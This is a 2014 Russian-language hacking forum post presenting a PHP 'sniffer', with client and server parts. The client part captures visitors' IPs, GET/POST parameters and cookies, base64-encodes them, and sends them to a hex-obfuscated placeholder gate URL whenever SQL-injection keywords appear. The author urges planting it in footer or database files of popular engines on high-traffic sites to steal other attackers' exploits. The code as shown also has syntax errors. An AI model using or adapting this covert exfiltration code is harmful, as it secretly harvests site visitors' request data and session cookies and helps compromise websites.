Небольшой PHPsnifer

Discussion in 'Уязвимости' started by winstrool, 28 Jan 2014.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Изначально снифер предполагался с целью защиты сайтов от SQL-injection, а в дольнейшем при доработке от XSS и брутов админок, но щас его решил выложить как обычный снифер запросов.

    Логика проста, некоторые личности постоянно мучают вопросами, как бы под раздобыть актуальные сплоиты. Отвечу, что самим разбирать движки, искать уязвимые моменты, тестить а дальше флаг вам в руки!)

    Для самых ленивых есть вариант по проще, использовать PHPSnifer.

    Пример клиентской части:

    PHP:
    if (!empty($_SERVER['HTTP_CLIENT_IP']))
        
    $ip=$_SERVER['HTTP_CLIENT_IP'];

    elseif (!empty(
    $_SERVER['HTTP_X_FORWARDED_FOR']))
        
    $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];

    else 
    $ip=$_SERVER['REMOTE_ADDR'];

    $bot=$_SERVER['HTTP_USER_AGENT'];

    $script=$_SERVER['PHP_SELF'];

    $reff=getenv("HTTP_REFERER");

    $data=date("Y-m-d H:i:s");


    function 
    Logged_get() {
    $strG '';
            foreach(
    $_GET as $key => $val)
            {
               
    $strG .= $key.'='.$val.'&'
            }
                
    $stGetlog='GET / '.$strG."\n";
                return 
    $stGetlog;
            }
            
    function 
    Logged_post() {
    $strP '';
            foreach(
    $_POST as $key => $val)
            {
               
    $strP .= $key.'='.$val.'&'
            }
                
    $stPostlog='POST / '.$strP."\n";
                return 
    $stPostlog;
            }
        
        
    function 
    Logged_cook() {
    $strC '';
            foreach(
    $_COOKIE as $key => $val)
            {
               
    $strC .= $key.'='.$val.'&'
            }
                
    $stCooklog='COOKIE / '.$strC."\n";
                return 
    $stCooklog;
            }
                    
                
    $log="--\n".$data.' :: '.$ip.' :: '.$bot.' :: '.$reff.' :: '.$script."\n".Logged_get()."\n".Logged_post()."\n".Logged_cook().'--';    

    $b=base64_encode($log);    

    //кодированый урл        http://www.site.com/log.php?l=        
    $url="\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x69\x74\x65\x2E\x63\x6F\x6D\x2F\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x6C\x3D";        
            if(
    preg_match("/(union|select|and|or|count|from|concat|version|database|flor|user|pass)/i",$log)) {
        
    file_get_contents($url.$b);//Отпровляем пакет на гейт!
            
    } else {
                
    //Любой другой код если вхождение не верно!
                
    }
    а вот пример серверной части, той что будет принимать нужные нам логи:

    PHP:
    if($_GET['l']) {

    function 
    Logged_get() {
    $strG '';
            foreach(
    $_GET as $key => $val)
            {
               
    $strG .= $key.'='.$val.'&'
            }
                
    $stGetlog='GET / '.$strG."\n";
                return 
    $stGetlog;
            }

    file_put_contents($_SERVER['DOCUMENT_ROOT'].'/log.txt'base64_decode(Logged_get()), FILE_APPEND); exit();
    } else { exit(); }
    С помощью регулярки:
    PHP:
    preg_match("/(union|select|and|or|count|from|concat|version|dat  abase|flor|user|pass)/i",$log)
    мы определяем ключевые слова использующиеся при иньектах и отправляем на гейт, лог.

    Пример лога:
    Нам остается в каких нить популярных движках про инклудить серверную часть, к примеру в файл с БД или footer, чтоб это все дело отлавливалось на всех страницах.

    Далее берем трафистые сайты на разных движках и ставим снифер. Трафистые сайты постоянно ломают, поэтому улов будет железный!) А частенько по подаются такие экспы...

    P.S: Пробуйте, экспериментируйте, удачи!)

    P.S2:В коде была ошибка исправил!
     
    _________________________
    #1 winstrool, 28 Jan 2014
    Last edited: 28 Jan 2014
    2 people like this.